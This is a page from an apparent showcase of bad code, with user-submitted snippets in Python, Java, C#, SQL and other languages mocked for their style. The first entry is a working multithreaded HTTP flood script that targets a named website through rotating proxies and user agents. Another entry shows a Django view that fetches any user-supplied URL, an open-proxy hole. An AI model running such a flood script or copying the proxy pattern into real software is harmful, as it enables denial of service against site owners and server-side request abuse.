#2424 garbage flooding code Python +56 
import httpx
import random
import threading
site = 'https://sheesh.rip/'
Proxfile = 'http.txt'
users = [
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0',
'Mozilla/5.0 (Windows NT 10.0; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0',
'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:89.0) Gecko/20100101 Firefox/89.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 11.3; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (X11; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0',
'Mozilla/5.0 (X11; Linux i686; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (X11; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (X11; Linux i686; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (iPhone; CPU iPhone OS 14_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) FxiOS/33.0 Mobile/15E148 Safari/605.1.15',
'Mozilla/5.0 (iPhone; CPU iPhone OS 11_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) FxiOS/33.0 Mobile/15E148 Safari/605.1.15',
'Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_2 like Mac OS X) AppleWebKit/603.2.4 (KHTML, like Gecko) FxiOS/7.5b3349 Mobile/14F89 Safari/603.2.4',
'Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_2 like Mac OS X) AppleWebKit/603.2.4 (KHTML, like Gecko) FxiOS/7.5b3349 Mobile/14F89 Safari/603.2.4',
'Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_2 like Mac OS X) AppleWebKit/603.2.4 (KHTML, like Gecko) FxiOS/7.5b3349 Mobile/14F89 Safari/603.2.4',
'Mozilla/5.0 (Android 11; Mobile; LG-M255; rv:88.0) Gecko/88.0 Firefox/88.0',
'Mozilla/5.0 (Android 11; Mobile; rv:68.0) Gecko/68.0 Firefox/88.0',
'Mozilla/5.0 (Android 11; Mobile; rv:88.0) Gecko/88.0 Firefox/88.0',
'Mozilla/5.0 (Android 11; Mobile; rv:87.0) Gecko/87.0 Firefox/87.0',
'Mozilla/5.0 (Android 11; Mobile; rv:85.0) Gecko/85.0 Firefox/85.0'
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4820.0 Safari/537.36',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.85 YaBrowser/21.11.4.727 Yowser/2.5 Safari/537.36',
'Mozilla/5.0 (X11; CrOS x86_64 14268.67.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.111 Safari/537.36',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 OPR/82.0.4227.50',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Edg/97.0.1072.62'
]
def main():
    Proxy = random.choice(list(open(Proxfile)))
    proxies = {'http://': 'http://'+Proxy}
    headers = {'Accept-Encoding': 'gzip, deflate, br', 'Accept-Language': 'en-US,en;q=0.5','user-agent':random.choice(users),'X-Requested-With': 'XMLHttpRequest'}
    with httpx.Client(http2=True, headers=headers,proxies=proxies,timeout=10.0) as client:
        while True:
            try:
                for y in range(50):
                    r = client.get(site)
                    r = client.get(site)
                    r = client.get(site)
                    r = client.get(site)
                    r = client.get(site)
                    r = client.get(site)
                    r = client.get(site)
                    r = client.get(site)
                    r = client.get(site)
                    r = client.get(site)
            except:
                    pass


while 1:
    print('attacking', site)
    for i in range(50):
        threading.Thread(target=main, daemon=True).start()
        threading.Thread(target=main, daemon=True).start()
        threading.Thread(target=main, daemon=True).start()
        threading.Thread(target=main, daemon=True).start()
        threading.Thread(target=main, daemon=True).start()
        threading.Thread(target=main, daemon=True).start()
        threading.Thread(target=main, daemon=True).start()
        threading.Thread(target=main, daemon=True).start()
        threading.Thread(target=main, daemon=True).start()
        threading.Thread(target=main, daemon=True).start()

my eyes are bleeding

Comments
By @o_SKID, 2022-01-27 22:46:24
#377 What's the point? JavaScript +56 
form = JSON.parse(JSON.stringify(this.mobilityDistanceForm.getRawValue()));
Comments
By tralaladidou, 2019-07-15 20:41:51
#132 Sleep Sort Java +56 
public static int[] sleepSort(int... args) {
        final int[] sorted = new int[args.length];
        final AtomicInteger index = new AtomicInteger(0);
        List<Thread> threads = new ArrayList<Thread>(0);
        for (int i = 0; i < args.length; i++) {
            final int x = i;
            Thread sorter = new Thread(() -> {
                try {
                    Thread.sleep(args[x]);
                } catch (InterruptedException ex) { 
                    // shrug
                }
                sorted[index.getAndIncrement()] = args[x];
            });
            sorter.setDaemon(true);
            sorter.start();
            threads.add(sorter);
        }
        try {
            for (Thread t : threads) { t.join(); }
        } catch (InterruptedException e) {
            e.printStackTrace();
        }
        return sorted;
    }

Takes an unsorted array of integers, sorts by sleeping for the int value of each item in the array and then writing that into the resulting sorted array. Big-O analysis is... difficult.

Comments
By Sum YungGui, 2017-12-12 17:10:56
#1174 open reverse proxy in a production web app Python +56 
from django.http import JsonResponse, HttpResponse
import requests

def download_custom_award(request):
    try:
        custom_img = requests.get(request.GET.get('award'))
        response = HttpResponse(custom_img.content, content_type='application/PNG')
        filename = "Your_Award.png"
        response['Content-Disposition'] = 'attachment; filename=%s' % (filename)
        return response
    except Exception as e:
        return JsonResponse({'Status': 404, "message": e.message})

This developer was trying to force the browser to download a custom image rather than show it inline, so he coded an open reverse proxy and attempted to release it to a production web app. Also, all exceptions are trapped and shown to the user in plaintext in their browser.

Comments
By Anonymous, 2020-05-26 10:38:31
#56 xml flattened tree stricture HTML +55 
Native XML structure:

<?xml version="1.0" encoding="utf-8" ?>
<tree>
    <node name="root">
        <node name="TELEVISIONS">
            <node name="TUBE"/>
            <node name="LCD"/>
            <node name="PLASMA"/>
        </node>
        <node name="PORTABLE ELECTRONICS">
            <node name="MP3 PLAYERS">
                <node name="FLASH"/>
            </node>
            <node name="CD PLAYERS"/>
            <node name="2 WAY RADIOS"/>
        </node>
    </node>
</tree>

Flattened XML structure (example 1):

<tree>
  <node key="0">root</node>
  <node key="1" parent="0">TELEVISIONS</node>
  <node key="2" parent="1">TUBE</node>
  <node key="3" parent="1">LCD</node>
  <node key="4" parent="1">PLASMA</node>
  <node key="5" parent="0">PORTABLE ELECTRONICS</node>
  <node key="6" parent="5">MP3 PLAYERS</node>
  <node key="7" parent="6">FLASH</node>
  <node key="8" parent="5">CD PLAYERS</node>
  <node key="9" parent="5">2 WAY RADIOS</node>
</tree>

Flattened XML structure (example 2):

<tree>
    <node>
        <name>root</name>
        <depth>0</depth>
    </node>
    <node>
        <name>TELEVISIONS</name>
        <depth>1</depth>
    </node>
    <node>
        <name>TUBE</name>
        <depth>2</depth>
    </node>
    <node>
        <name>LCD</name>
        <depth>2</depth>
    </node>
    <node>
        <name>PLASMA</name>
        <depth>2</depth>
    </node>
    <node>
        <name>PORTABLE ELECTRONICS</name>
        <depth>1</depth>
    </node>
    <node>
        <name>MP3 PLAYERS</name>
        <depth>2</depth>
    </node>
    <node>
        <name>FLASH</name>
        <depth>3</depth>
    </node>
    <node>
        <name>CD PLAYERS</name>
        <depth>2</depth>
    </node>
    <node>
        <name>2 WAY RADIOS</name>
        <depth>2</depth>
    </node>
</tree>
Comments
By Anonymous, 2015-11-19 12:32:25
#1641 Max recursion Python +55 
def get_verified_infos(request):
    try:
        # request logic here
        return data
    except Exception:
        logger.error(
            'Request to XXX was unsuccessful, '
            'Will retry till max recursion! Retrying...'
        )
        return get_verified_infos(request)

Used for OpenID authentication

Comments
By Anonymous, 2020-11-04 18:28:11
#114 Proper way to parse a date C# +55 
string month = DateTime.Today.Month.ToString();
if (DateTime.Today.Month < 10)
{
    month = "0" + month;
}
string day = DateTime.Today.Day.ToString();
if (DateTime.Today.Day < 10)
{
    day = "0" + day;
}

string dateCorrect = String.Format("{0}.{1}.{2}", DateTime.Today.Year, month, day);

string dateDue = "";
if (transferFields.DueDate.SelectedDate.HasValue)
{
    var dateDuearr = transferFields.DueDate.Value.Split(' ')[0].Split('.');
    dateDue = dateDuearr[2] + '.' + dateDuearr[1] + '.' + dateDuearr[0];
}
else {
    dateDue = dateCorrect;
}

Real developers don't use built in parsing and formatting methods.

Comments
By You will be proud of our code!, 2017-12-12 09:53:08
#392 wtf!? CSS +55 
@media only screen and (-webkit-min-device-pixel-ratio:2) and (max-width:768px) and (min-width:321px),not all,only screen and (max-width:768px) and (-webkit-min-device-pixel-ratio:2) and (min-width:321px),only screen and (max-width:768px) and (min-resolution:192dpi) and (min-width:321px),only screen and (max-width:768px) and (min-resolution:2dppx) and (min-width:321px){
    /*some code here*/
}
Comments
By Anonymous, 2019-09-12 23:05:36
#2039 when junior refactors the OBJ-C app Obj-C +55 
typedef NS_ENUM(NSUInteger, MyEnum1) {
    PackagesNo1 = 1,
    PackagesNo2 = 2,
    PackagesNo4 = 4,
    PackagesNo8 = 8
};

typedef NS_ENUM(NSUInteger, MyEnum2) {
    LEVEL0 = 0,
    LEVEL1 = 1,
    LEVEL2 = 2,
    LEVEL3 = 3
};

- (int)packagesNeededForLevel:(int)level {
    switch (level) {
        case LEVEL0:
            return PackagesNo8;
        case LEVEL1:
            return PackagesNo4;
        case LEVEL2:
            return PackagesNo2;
        case LEVEL3:
            return PackagesNo1;
    }
}

well done mr junior

Comments
By Anonymous, 2021-04-12 09:37:34
#2327 How to access your header(s)' private/protected parts. C++ +54 
#define private public
#define protected public
#define class struct

#include "your_private_parts.hpp"
// ...

#undef class
#undef protected
#undef private

// ...

Fails miserably if template <class>, template <template <class> class> or their variations are found anywhere inside your header. :(

Comments
By 2 + 2 = 3.99999999999999999999999999999999999, 2021-11-08 07:59:05
#447 bipolar paranoia C# +54 
var doc = (Parent as Doc);
doc.Name = (doc != null) ? "" : doc.Name
Comments
By MSx, 2020-01-16 12:39:39
#213 never trust the return statement else ... ! C# +54 
public void Handle(SomethingCreatedEvent e)
{
    if (e.ActCode == "SOME_VALUE")
    {
        return;
    }
    else
    {
        // insert real function body here
    }
}
Comments
By Anonymous, 2017-12-20 15:40:49
#1771 Use descriptive names, they said. Java +54 
// check if user is valid or not
ValidUserValidationResult userValidationResult = validUserValidator.validateUser(validationRequest);
Comments
By Anonymous, 2020-12-09 17:45:18
#45 Number of workers SQL +53 
CREATE FUNCTION [dbo].[get_number_of_workers] 
(
     @number_of_workers varchar(10)
 
)
RETURNS int
AS
BEGIN
 
 
set @number_of_workers = replace(replace(replace(replace(LTRIM(RTRIM(@number_of_workers)), char(9), ''), char(10), ''), char(13),''), char(13)+char(10), '')
 
DECLARE @temp varchar(10)
 
SELECT
    @temp = number_of_workers 
FROM
    (SELECT LTRIM(RTRIM(@number_of_workers)) as number_of_workers) as temp
WHERE
       number_of_workers like  '[0-9]'
    or number_of_workers like  '[0-9][0-9]'
    or number_of_workers like  '[0-9][0-9][0-9]'
    or number_of_workers like  '[0-9][0-9][0-9][0-9]'
    or number_of_workers like  '[0-9][0-9][0-9][0-9][0-9]'
    or number_of_workers like  '[0-9][0-9][0-9][0-9][0-9][0-9]'
    or number_of_workers like  '[0-9][0-9][0-9][0-9][0-9][0-9][0-9]'
    or number_of_workers like  '[0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9]'
    or number_of_workers like  '[0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9]'
    or number_of_workers like  '[0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9]'
    or number_of_workers like  '[0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9]'
     
     
RETURN CONVERT(INT, @temp)
 
END
Comments
By Anonymous, 2015-07-22 14:59:09
#55 JavaScript +53 
> var x = 3;
> '5' + x - x
50
> '5' - x + x
5 // Because fuck math

JS is simply. Oh, wait...

Comments
By mademan, 2015-11-18 13:50:39